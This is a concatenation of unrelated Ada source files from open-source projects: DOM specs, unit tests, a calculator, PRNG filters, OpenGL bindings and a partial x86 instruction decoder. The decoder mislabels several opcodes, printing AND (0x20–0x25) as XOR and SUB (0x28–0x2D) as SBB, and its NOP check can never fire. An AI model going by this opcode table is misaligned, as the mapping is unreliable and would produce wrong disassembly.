-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with XML.DOM.Attributes;
package ODF.DOM.Form_Validation_Attributes is
pragma Preelaborate;
type ODF_Form_Validation_Attribute is limited interface
and XML.DOM.Attributes.DOM_Attribute;
type ODF_Form_Validation_Attribute_Access is
access all ODF_Form_Validation_Attribute'Class
with Storage_Size => 0;
end ODF.DOM.Form_Validation_Attributes;
|
erik/ada-irc | Ada | 266 | ads | with Irc.Bot;
with Irc.Commands;
with Irc.Message;
with Ada.Strings.Unbounded;
with GNAT.Sockets;
package Commands is
-- for host_bot.adb
procedure Host (Bot : in out Irc.Bot.Connection;
Msg : Irc.Message.Message);
end Commands;
|
PlanetLotus/cs-testing | Ada | 1,145 | adb | with Ada.Text_IO;
with Ada.Integer_Text_IO;
use Ada.Text_IO;
use Ada.Integer_Text_IO;
procedure calculator1 is
First, Second, Result : integer;
Operator : character;
Valid : boolean;
begin
loop
Valid := true;
Put("What do you want me to calculate? ");
Get(First);
Get(Operator);
Get(Second);
if Operator = '+' then
Result := First + Second;
elsif Operator = '-' then
Result := First - Second;
elsif Operator = '*' or Operator = 'x' then
Result := First * Second;
elsif Operator = '/' then
Result := First / Second;
elsif Operator = 'q' then
-- Quit loop
exit;
else
Put("Invalid operator: ");
Put(Operator);
Valid := false;
end if;
if Valid = true then
Put(First, Width=>1);
Put(" ");
Put(Operator);
Put(" ");
Put(Second, Width=>1);
Put(" = ");
Put(Result, Width=>1);
New_Line;
end if;
end loop;
end calculator1;
|
stcarrez/ada-libsecret | Ada | 3,984 | adb | -----------------------------------------------------------------------
-- secret-tests - Unit tests for secret service library
-- Copyright (C) 2017 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Exceptions;
with Util.Test_Caller;
with Secret.Values;
with Secret.Attributes;
with Secret.Services;
package body Secret.Tests is
package Caller is new Util.Test_Caller (Test, "Secret.Service");
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite) is
begin
Caller.Add_Test (Suite, "Test Secret.Values",
Test_Value'Access);
Caller.Add_Test (Suite, "Test Secret.Attributes",
Test_Attributes'Access);
Caller.Add_Test (Suite, "Test Secret.Service.Store",
Test_Store'Access);
end Add_Tests;
-- ------------------------------
-- Test operations on the Secret_Type value.
-- ------------------------------
procedure Test_Value (T : in out Test) is
V : Values.Secret_Type;
begin
T.Assert (V.Is_Null, "Secret_Type must be null");
V := Values.Create ("test-secret");
T.Assert (not V.Is_Null, "Secret_Type must not be null");
Util.Tests.Assert_Equals (T, "test-secret", V.Get_Value,
"Invalid Get_Value");
Util.Tests.Assert_Equals (T, "text/plain", V.Get_Content_Type,
"Invalid Get_Content_Type");
V := Values.Create ("test-secret-2");
Util.Tests.Assert_Equals (T, "test-secret-2", V.Get_Value,
"Invalid Get_Value");
Util.Tests.Assert_Equals (T, "text/plain", V.Get_Content_Type,
"Invalid Get_Content_Type");
end Test_Value;
-- ------------------------------
-- Test attributes operations.
-- ------------------------------
procedure Test_Attributes (T : in out Test) is
List : Secret.Attributes.Map;
begin
T.Assert (List.Is_Null, "Attributes map must be null");
Secret.Attributes.Insert (List, "my-name", "my-value");
T.Assert (not List.Is_Null, "Attributes map must not be null");
end Test_Attributes;
-- ------------------------------
-- Test storing a secret value.
-- ------------------------------
procedure Test_Store (T : in out Test) is
List : Secret.Attributes.Map;
S : Secret.Services.Service_Type;
V : Values.Secret_Type;
R : Values.Secret_Type;
begin
S.Initialize;
Secret.Attributes.Insert (List, "test-my-name", "my-value");
V := Values.Create ("my-secret-value");
S.Store (List, "my-test-password", V);
Secret.Attributes.Insert (List, "secret-password-password", "admin");
R := S.Lookup (List);
if not R.Is_Null then
Util.Tests.Assert_Equals (T, "my-secret-value", R.Get_Value, "Invalig lookup");
end if;
S.Remove (List);
R := S.Lookup (List);
T.Assert (R.Is_Null, "The secret value was not removed");
exception
when E : Secret.Services.Service_Error =>
Util.Tests.Assert_Matches (T, ".*autolaunch D-Bus without X11.*",
Ada.Exceptions.Exception_Message (E),
"Invalid exception raised");
end Test_Store;
end Secret.Tests;
|
charlie5/aIDE | Ada | 1,136 | ads | with
AdaM.context_Line,
AdaM.Context,
gtk.Widget,
gtk.Button;
private
with
gtk.Check_Button,
gtk.Box;
package aIDE.Editor.of_context_line
is
type Item is new Editor.item with private;
type View is access all Item'Class;
package Forge
is
function to_context_line_Editor (the_Context : in AdaM.Context .view;
the_Context_Line : in AdaM.context_Line.view) return View;
end Forge;
overriding
function top_Widget (Self : in Item) return gtk.Widget.gtk_Widget;
function name_Button (Self : in Item) return gtk.Button.gtk_Button;
function context_Line (Self : in Item) return AdaM.context_Line.view;
private
use gtk.Check_Button,
gtk.Button,
gtk.Box;
type Item is new Editor.item with
record
Context : AdaM.Context .view;
context_Line : AdaM.context_Line.view;
Top : Gtk_Box;
name_Button : gtk_Button;
used_Button : gtk_Check_Button;
rid_Button : gtk_Button;
end record;
end aIDE.Editor.of_context_line;
|
zhmu/ananas | Ada | 132 | adb | package body Lto13_Pkg is
procedure Proc is
begin
raise Constraint_Error;
end;
type T is null record;
end Lto13_Pkg;
|
peterfrankjohnson/kernel | Ada | 22,320 | adb | package body Debug.Instruction is
-- EIP : aliased Double := 0;
procedure SetAddress (Address : Double) is
begin
EIP := Address;
end SetAddress;
-- function Decode (Instruction : Byte) return Mnemonic is
function Decode return Mnemonic is
Assembly : Mnemonic := "UNKNOWN / UNDEF ";
-- Opcode : Byte;
Instruction : Byte;
subtype Register is String (1 .. 20);
--
function Decode_RM (Operand : Byte; Instruction : Byte) return Register is
subtype R8 is String (1 .. 2);
subtype R16 is String (1 .. 2);
subtype R32 is String (1 .. 3);
function To_Register8 (Operand : Byte) return R8 is
begin
case Operand is
when 0 => return "AL";
when 1 => return "CL";
when 2 => return "DL";
when 3 => return "BL";
when 4 => return "AH";
when 5 => return "CH";
when 6 => return "DH";
when 7 => return "BH";
when others => null; -- return " ";
end case;
return " ";
end To_Register8;
function To_Register32 (Operand : Byte) return R32 is
begin
case Operand is
when 0 => return "EAX";
when 1 => return "ECX";
when 2 => return "EDX";
when 3 => return "EBX";
when 4 => return "ESP";
when 5 => return "EBP";
when 6 => return "ESI";
when 7 => return "EDI";
when others => null; -- return " ";
end case;
return " ";
end To_Register32;
Op1 : Byte;
Op2 : Byte;
R : Register := " ";
type Mod_bits is mod 2**2;
-- pragma Pack (Mod_bits);
for Mod_bits'Size use 2;
M : Mod_bits;
I : Byte;
begin
Op1 := Operand and 16#7#;
Op2 := Byte (Shift_Right (Unsigned_32 (Operand), 3) and 16#7#);
I := Instruction and 16#7#;
M := Mod_bits (Shift_Right (Unsigned_32 (Operand), 6));
case I is
-- r/m8 - r8
when 0 =>
case M is
when 2#11# =>
R := To_Register8 (Op1) & ", " & To_Register8 (Op2) & " ";
when 2#10# =>
case Op1 is
when 0 .. 3 |
6 .. 7 =>
R := "[" & To_Register32 (Op1) & " + ";
when 4 =>
-- SIB
R := "[sib ";
when 5 =>
-- dest32
R := "[dest32 ";
when others => null;
end case;
when 2#01# =>
declare
Offset : Byte;
begin
Offset := Fetch;
case Op1 is
when 0 .. 3 |
5 .. 7 =>
R := "[" & To_Register32 (Op1) & " + 16#" & Byte_To_Hex (Offset) & "#], " & To_Register8 (Op2) & " ";
when 4 =>
-- SIB
R := " ";
when others => null;
end case;
end;
when 2#00# =>
R := "[" & To_Register32 (Op1) & "], " & To_Register8 (Op2) & " ";
end case;
-- r/m16/32 - r16/32
when 1 =>
case M is
when 2#11# =>
R := To_Register32 (Op1) & ", " & To_Register32 (Op2) & " ";
when 2#10# =>
case Op1 is
when 0 .. 3 |
6 .. 7 =>
R := "[" & To_Register32 (Op1) & " + ";
when 4 =>
-- SIB
R := "[sib ";
when 5 =>
-- dest32
R := "[dest32 ";
when others => null;
end case;
when 2#01# =>
declare
Offset : Byte;
begin
Offset := Fetch;
case Op1 is
when 0 .. 3 |
5 .. 7 =>
R := "[" & To_Register32 (Op1) & " + 16#" & Byte_To_Hex (Offset) & "#], " & To_Register32 (Op2) & " ";
when 4 =>
-- SIB
R := " ";
when others => null;
end case;
end;
when 2#00# =>
R := "[" & To_Register32 (Op1) & "], " & To_Register32 (Op2) & " ";
end case;
-- r8 - r/m8
when 2 =>
case M is
when 2#11# =>
R := To_Register8 (Op2) & ", " & To_Register8 (Op1) & " ";
when 2#10# =>
case Op1 is
when 0 .. 3 |
6 .. 7 =>
R := To_Register8 (Op2) & ", [" & To_Register32 (Op1) & " + ";
when 4 =>
-- SIB
R := To_Register8 (Op2) & ", [sib ";
when 5 =>
-- dest32
R := To_Register8 (Op2) & ", [dest32 ";
when others => null;
end case;
when 2#01# =>
declare
Offset : Byte;
begin
Offset := Fetch;
case Op1 is
when 0 .. 3 |
5 .. 7 =>
R := "[" & To_Register32 (Op1) & " + 16#" & Byte_To_Hex (Offset) & "#], " & To_Register8 (Op2) & " ";
when 4 =>
-- SIB
R := " ";
when others => null;
end case;
end;
when 2#00# =>
R := To_Register8 (Op2) & ", [" & To_Register32 (Op1) & "] ";
end case;
-- r16/32 - r/m16/32
when 3 =>
case M is
when 2#11# =>
R := To_Register32 (Op2) & ", " & To_Register32 (Op1) & " ";
when 2#10# =>
case Op1 is
when 0 .. 3 |
6 .. 7 =>
R := " , [" & To_Register32 (Op1) & " + ";
when 4 =>
-- SIB
R := " , [sib ";
when 5 =>
-- dest32
R := " , [dest32 ";
when others => null;
end case;
when 2#01# =>
declare
Offset : Byte;
begin
Offset := Fetch;
case Op1 is
when 0 .. 3 |
5 .. 7 =>
R := To_Register32 (Op2) & ", [" & To_Register32 (Op1) & " + 16#" & Byte_To_Hex (Offset) & "#] ";
when 4 =>
-- SIB
R := " ";
when others => null;
end case;
end;
when 2#00# =>
R := To_Register32 (Op2) & ", [" & To_Register32 (Op1) & "] ";
end case;
when 4 =>
R := "AL, 16#" & Byte_To_Hex (Operand) & "# ";
when 5 =>
R := "EAX, 16#00000000# ";
when others =>
null;
end case;
return R;
end Decode_RM;
begin
Instruction := Instructions (EIP);
case Instruction is
-- ADD
when 16#00# .. 16#05# =>
Assembly := "ADD " & Decode_RM (Fetch, Instruction);
-- PUSH ES
when 16#06# =>
Assembly := "PUSH ES ";
-- POP ES
when 16#07# =>
Assembly := "POP ES ";
-- OR
when 16#08# .. 16#0E# =>
Assembly := "OR " & Decode_RM (Fetch, Instruction);
-- Two Byte Instructions
when 16#0F# =>
null;
-- ADC
when 16#10# .. 16#15# =>
Assembly := "ADC " & Decode_RM (Fetch, Instruction);
-- PUSH SS
when 16#16# =>
Assembly := "PUSH SS ";
-- POP SS
when 16#17# =>
Assembly := "POP SS ";
-- SBB
when 16#18# .. 16#1D# =>
Assembly := "SBB " & Decode_RM (Fetch, Instruction);
-- PUSH DS
when 16#1E# =>
Assembly := "PUSH DS ";
-- POP DS
when 16#1F# =>
Assembly := "POP DS ";
-- AND
when 16#20# .. 16#25# =>
Assembly := "XOR " & Decode_RM (Fetch, Instruction);
-- ES:
when 16#26# =>
Assembly := "ES: ";
-- DAA AL
when 16#27# =>
Assembly := "DAA AL ";
-- SUB
when 16#28# .. 16#2D# =>
Assembly := "SBB " & Decode_RM (Fetch, Instruction);
-- CS:
when 16#2E# =>
Assembly := "CS: ";
-- DAS AL
when 16#2F# =>
Assembly := "DAS AL ";
-- XOR
when 16#30# .. 16#35# =>
Assembly := "XOR " & Decode_RM (Fetch, Instruction);
-- SS:
when 16#36# =>
Assembly := "SS: ";
-- AAA AL
when 16#37# =>
Assembly := "AAA AL ";
-- CMP
when 16#38# .. 16#3D# =>
Assembly := "CMP " & Decode_RM (Fetch, Instruction);
-- DS:
when 16#3E# =>
Assembly := "DS: ";
-- AAS AL
when 16#3F# =>
Assembly := "AAS AL ";
-- INC
when 16#40# .. 16#47# =>
Assembly := "INC ";
-- DEC
when 16#48# .. 16#4F# =>
Assembly := "DEC ";
-- PUSH
when 16#50# .. 16#57# =>
Assembly := "PUSH ";
-- POP
when 16#58# .. 16#5F# =>
Assembly := "POP ";
-- PUSHA / PUSHAD
when 16#60# =>
Assembly := "PUSHAD ";
-- POPA / POPAD
when 16#61# =>
Assembly := "POPAD ";
-- BOUND
when 16#62# =>
Assembly := "BOUND ";
-- ARPL
when 16#63# =>
Assembly := "ARPL ";
-- FS:
when 16#64# =>
Assembly := "FS: ";
-- GS:
when 16#65# =>
Assembly := "GS: ";
-- Operand / Precision size prefix
when 16#66# =>
Assembly := "O32 ";
-- Address size prefix
when 16#67# =>
Assembly := "ADDR32 ";
when 16#68# =>
Assembly := "PUSH 16#" & Double_To_Hex (Fetch_Double) & "# ";
when 16#69# =>
Assembly := "IMUL ";
when 16#6A# =>
Assembly := "PUSH 16#" & Byte_To_Hex (Fetch) & "# ";
when 16#6B# =>
Assembly := "IMUL ";
when 16#6C# =>
Assembly := "INSB ";
when 16#6D# =>
Assembly := "INSW/D ";
when 16#6E# =>
Assembly := "OUTSB ";
when 16#6F# =>
Assembly := "OUTSW/D ";
-- Branch Instructions
when 16#70# .. 16#7F# =>
Assembly := "J ";
when 16#80# .. 16#83# =>
SetAddress (EIP + 2);
Assembly := "arith ";
when 16#84# .. 16#85# =>
Assembly := "TEST ";
when 16#86# .. 16#87# =>
Assembly := "XCHG ";
when 16#8D# =>
Assembly := "LEA ";
when 16#8F# =>
Assembly := "POP ";
-- MOV
when 16#88# .. 16#8C# |
16#8E# |
16#A0# .. 16#A3# |
16#B0# .. 16#B7# |
16#C6# |
16#C7# =>
Assembly := "MOV " & Decode_RM (Fetch, Instruction);
when 16#B8# .. 16#BF# =>
Assembly := "MOV 16#" & Double_To_Hex (Fetch_Double) & "# ";
-- XCHG
when 16#90# .. 16#97# =>
Assembly := "XCHG ";
when 16#98# =>
Assembly := "CWDE ";
-- NOP and XCHG EAX, EAX have the same encoding
if Assembly = "XCHG EAX, EAX " then
Assembly := "NOP ";
end if;
-- CWD / CDQ
when 16#99# =>
Assembly := "CWD/CDQ ";
-- CALL
when 16#9A# =>
Assembly := "CALL ";
-- Wait prefix & FWAIT / WAIT
when 16#9B# =>
null;
-- PUSHF / PUSHFD
when 16#9C# =>
Assembly := "PUSHFD ";
-- POPF / POPFD
when 16#9D# =>
Assembly := "POPFD ";
-- SAHF
when 16#9E# =>
Assembly := "SAHF ";
-- LAHF
when 16#9F# =>
Assembly := "LAHF ";
-- MOVSB
when 16#A4# =>
Assembly := "MOVSB ";
-- MOVSW/MOVSD
when 16#A5# =>
Assembly := "MOVSW/MOVSD ";
-- CMPSB
when 16#A6# =>
Assembly := "CMPSB ";
-- CMPSW/CMPSD
when 16#A7# =>
Assembly := "CMPSW/CMPSD ";
-- TEST
when 16#A8# .. 16#A9# =>
Assembly := "TEST ";
-- STOSB
when 16#AA# =>
Assembly := "STOSB ";
-- STOSW/STOSD
when 16#AB# =>
Assembly := "STOSW/STOSD ";
-- LODSB
when 16#AC# =>
Assembly := "LODSB ";
-- LODSW/LODSD
when 16#AD# =>
Assembly := "LODSW/LODSD ";
-- SCASB
when 16#AE# =>
Assembly := "SCASB ";
-- SCASW/SCASD
when 16#AF# =>
Assembly := "SCASW/SCASD ";
-- SHIFT / ROTATE
when 16#C0# .. 16#C1# |
16#D0# .. 16#D3# =>
Assembly := "shift / rotate ";
-- RETN
when 16#C2# =>
Assembly := "RETN imm16 ";
-- RETN
when 16#C3# =>
Assembly := "RETN ";
-- LES
when 16#C4# =>
Assembly := "LES ";
-- LDS
when 16#C5# =>
Assembly := "LDS ";
-- ENTER
when 16#C8# =>
Assembly := "ENTER ";
-- LEAVE
when 16#C9# =>
Assembly := "LEAVE ";
-- RETF
when 16#CA# .. 16#CB# =>
Assembly := "RETF ";
-- INT3
when 16#CC# =>
Assembly := "INT3 ";
-- INT
when 16#CD# =>
-- Fetch next opcode
declare
Interrupt : Byte;
begin
Interrupt := Fetch;
-- Convert to Hex
Assembly := "INT 16#" & Byte_To_Hex (Interrupt) & "# ";
end;
-- INTO
when 16#CE# =>
Assembly := "INTO ";
-- IRET / IRETD
when 16#CF# =>
-- Assembly := "IRET ";
Assembly := "IRETD ";
-- AAM / AMX
when 16#D4# =>
Assembly := "AAM/AMX ";
-- AAD / ADX
when 16#D5# =>
Assembly := "AAD/ADX ";
-- SALC / SETALC
when 16#D6# =>
Assembly := "SALC/SETALC ";
-- XLATB
when 16#D7# =>
Assembly := "XLATB ";
-- Floating Point
when 16#D8# .. 16#DF# =>
Assembly := "floating point ";
-- LOOPNZ / LOOPNE
when 16#E0# =>
Assembly := "LOOPNZ / LOOPNE ";
-- LOOPZ / LOOPE
when 16#E1# =>
Assembly := "LOOPZ / LOOPE ";
-- LOOP
when 16#E2# =>
Assembly := "LOOP ";
-- JCXZ / JECXZ
when 16#E3# =>
Assembly := "JCXZ / JECXZ ";
-- IN
when 16#E4# =>
Assembly := "IN AL, 16#" & Byte_To_Hex (Fetch) & "# ";
-- IN
when 16#E5# =>
Assembly := "IN eAX, 16#" & Byte_To_Hex (Fetch) & "# ";
-- OUT
when 16#E6# =>
Assembly := "OUT 16#" & Byte_To_Hex (Fetch) & "#, AL ";
-- OUT
when 16#E7# =>
Assembly := "OUT 16#" & Byte_To_Hex (Fetch) & "#, eAX ";
-- CALL
when 16#E8# =>
Assembly := "CALL 16#" & Double_To_Hex (Fetch_Double) & "# ";
-- JMP
when 16#E9# .. 16#EB# =>
Assembly := "JMP ";
-- IN
when 16#EC# =>
Assembly := "IN AL, DX ";
-- IN
when 16#ED# =>
Assembly := "IN eAX, DX ";
-- OUT
when 16#EE# =>
Assembly := "OUT DX, AL ";
-- OUT
when 16#EF# =>
Assembly := "OUT DX, eAX ";
-- LOCK
when 16#F0# =>
Assembly := "LOCK ";
-- ICEBP
when 16#F1# =>
Assembly := "INT1 ";
-- REPNZ / REPNE / REP / REPZ / REPE
when 16#F2# .. 16#F3# =>
Assembly := "REP ";
-- HLT
when 16#F4# =>
Assembly := "HLT ";
-- CMC
when 16#F5# =>
Assembly := "CMC ";
--
when 16#F6# .. 16#F7# =>
Assembly := "arithmetic ";
-- CLC
when 16#F8# =>
Assembly := "CLC ";
-- STC
when 16#F9# =>
Assembly := "STC ";
-- CLI
when 16#FA# =>
Assembly := "CLI ";
-- STI
when 16#FB# =>
Assembly := "STI ";
-- CLD
when 16#FC# =>
Assembly := "CLD ";
-- STD
when 16#FD# =>
Assembly := "STD ";
-- INC / DEC
when 16#FE# =>
Assembly := "INC / DEC ";
-- INC / DEC / CALL / CALLF / JMP / JMPF / PUSH
when 16#FF# =>
Assembly := "INC / DEC / CALL / CA...";
end case;
SetAddress (EIP + 1);
return Assembly;
end Decode;
function Fetch return Byte is
-- Operand : Byte;
begin
-- Operand := Character'Pos (Instructions (EIP));
-- Operand := Instructions (Instruction.EIP);
EIP := EIP + 1;
SetAddress (EIP);
-- return Operand;
return Instructions (EIP);
end Fetch;
function Fetch_Double return Double is
Operand : Double;
Byte1 : Byte;
Byte2 : Byte;
Byte3 : Byte;
Byte4 : Byte;
begin
Byte1 := Fetch;
Byte2 := Fetch;
Byte3 := Fetch;
Byte4 := Fetch;
Operand := Double (Byte1) + (Double (Byte2) * 256) + (Double (Byte3) * 65536) + (Double (Byte4) * 256 * 256 * 256);
return Operand;
end Fetch_Double;
function Byte_To_Hex (Input : Byte) return Opcode_Hex_String is
Output : Opcode_Hex_String := "00";
Result : Natural;
WorkingValue : Natural;
function To_Hex_Char (Input : Natural) return Byte is
Output : Byte;
begin
if Input < 10 then
Output := Byte (Input + 48);
else
Output := Byte (Input + 55);
end if;
return Output;
end To_Hex_Char;
begin
WorkingValue := Integer (Input);
Result := WorkingValue / 16;
Output (1) := Character'Val (To_Hex_Char (Result));
WorkingValue := WorkingValue - (Result * 16);
Result := WorkingValue mod 16;
Output (2) := Character'Val (To_Hex_Char (Result));
return Output;
end Byte_To_Hex;
function Double_To_Hex (Input : Double) return Double_Hex_String is
WorkingValue : Double;
Output : Double_Hex_String := "00000000";
Result : Double;
Exponent : Natural := 7;
Index : Natural := 1;
function To_Hex_Char (Input : Double) return Character is
Output : Character;
begin
if Input < 10 then
Output := Character'Val(Input + 48);
else
Output := Character'Val(Input + 55);
end if;
return Output;
end To_Hex_Char;
begin
WorkingValue := Input;
loop
if Exponent = 0 then
exit;
end if;
Result := WorkingValue / (16 ** Exponent);
WorkingValue := WorkingValue - (Result * (16 ** Exponent));
Output (Index) := To_Hex_Char (Result);
Exponent := Exponent - 1;
Index := Index + 1;
end loop;
Result := WorkingValue mod 16;
Output (Index) := To_Hex_Char (Result);
return Output;
end Double_To_Hex;
end Debug.Instruction;
|
jhumphry/PRNG_Zoo | Ada | 3,027 | ads | --
-- PRNG Zoo
-- Copyright (c) 2014 - 2015, James Humphry
--
-- Permission to use, copy, modify, and/or distribute this software for any
-- purpose with or without fee is hereby granted, provided that the above
-- copyright notice and this permission notice appear in all copies.
--
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
-- REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
-- AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
-- INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
-- LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
-- OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-- PERFORMANCE OF THIS SOFTWARE.
-- This package contains various simple dummy generators
-- and filters useful for tests
package PRNG_Zoo.Filters is
-- This generates 32 bit values from a 64 bit generator by returning the
-- lower and upper words in sequence rather than just throwing away the upper
-- word
type Split_32(IG : access PRNG'Class) is new Dispatcher(IG) with
record
Loaded : Boolean := False;
Next_Value : U32;
end record;
function Width(G: in Split_32) return Positive is (32);
function Constructor(Params : not null access PRNG_Parameters'Class)
return Split_32 is
(if True then raise Program_Error else raise Program_Error);
function Generate_Padded(G: in out Split_32) return U64 is
(U64(U32'(Generate(G)))) with inline;
function Generate(G: in out Split_32) return U32;
-- This reverses the bit-order in the returned value
-- Some tests are more sensitive to the lower than the upper bits or vice-versa
type Bit_Reverse(IG : access PRNG'Class) is new Dispatcher(IG) with null record;
function Constructor(Params : not null access PRNG_Parameters'Class)
return Bit_Reverse is
(if True then raise Program_Error else raise Program_Error);
function Generate(G: in out Bit_Reverse) return U64;
function Generate_Padded(G: in out Bit_Reverse) return U64;
function Generate(G: in out Bit_Reverse) return U32;
-- Simple linear increment 'generator'.
type Incrementer is new PRNG with
record
S : U64 := 0;
Incr : U64 := 1;
end record;
function Strength(G: in Incrementer) return PRNG_Strength is (Dummy);
function Width(G: in Incrementer) return Positive is (64);
function Constructor(Params : not null access PRNG_Parameters'Class)
return Incrementer is
(Incrementer'(Incr => Params.Parameter("incr",1),
others => <>));
procedure Reset(G: in out Incrementer; S: in U64);
function Generate(G: in out Incrementer) return U64 with inline;
function Generate_Padded(G : in out Incrementer) return U64 renames Generate;
function Generate(G: in out Incrementer) return U32 with inline;
end PRNG_Zoo.Filters;
|
stcarrez/ada-keystore | Ada | 1,441 | ads | -----------------------------------------------------------------------
-- keystore-properties-tests -- Tests for Keystore.Properties
-- Copyright (C) 2020 Stephane Carrez
-- Written by Stephane Carrez ([email protected])
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Properties;
with Util.Tests;
package Keystore.Properties.Tests is
procedure Add_Tests (Suite : in Util.Tests.Access_Test_Suite);
type Test is new Util.Tests.Test with null record;
procedure Test_Properties (T : in out Test;
Props : in out Util.Properties.Manager'Class);
-- Test the accessing the keystore through property manager.
procedure Test_Properties (T : in out Test);
-- Test iterating over the property manager.
procedure Test_Iterate (T : in out Test);
end Keystore.Properties.Tests;
|
reznikmm/matreshka | Ada | 3,769 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Open Document Toolkit --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2014, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with XML.DOM.Attributes;
package ODF.DOM.Form_Convert_Empty_To_Null_Attributes is
pragma Preelaborate;
type ODF_Form_Convert_Empty_To_Null_Attribute is limited interface
and XML.DOM.Attributes.DOM_Attribute;
type ODF_Form_Convert_Empty_To_Null_Attribute_Access is
access all ODF_Form_Convert_Empty_To_Null_Attribute'Class
with Storage_Size => 0;
end ODF.DOM.Form_Convert_Empty_To_Null_Attributes;
|
flyx/OpenGLAda | Ada | 410 | ads | -- part of OpenGLAda, (c) 2017 Felix Krause
-- released under the terms of the MIT license, see the file "COPYING"
with GL.Types;
package GL.Tessellation is
pragma Preelaborate;
use GL.Types;
procedure Set_Patch_Vertices (Value : Int);
procedure Set_Patch_Default_Inner_Level (Values : Single_Array);
procedure Set_Patch_Default_Outer_Level (Values : Single_Array);
end GL.Tessellation;
|
zhmu/ananas | Ada | 314 | adb | -- { dg-do compile }
procedure Protected_Self_Ref2 is
protected type P is
procedure Foo;
end P;
protected body P is
procedure Foo is
D : Integer;
begin
D := P'Digits; -- { dg-error "denotes current instance" }
end;
end P;
begin
null;
end Protected_Self_Ref2;
|
zhmu/ananas | Ada | 8,283 | adb | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G E T _ T A R G --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2022, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
------------------------------------------------------------------------------
-- Version shared by various Ada based back-ends (e.g. gnat2scil, gnat2why)
with System.OS_Lib; use System.OS_Lib;
with GNAT.Directory_Operations; use GNAT.Directory_Operations;
package body Get_Targ is
-----------------------
-- Get_Bits_Per_Unit --
-----------------------
function Get_Bits_Per_Unit return Pos is
begin
return 8;
end Get_Bits_Per_Unit;
-----------------------
-- Get_Bits_Per_Word --
-----------------------
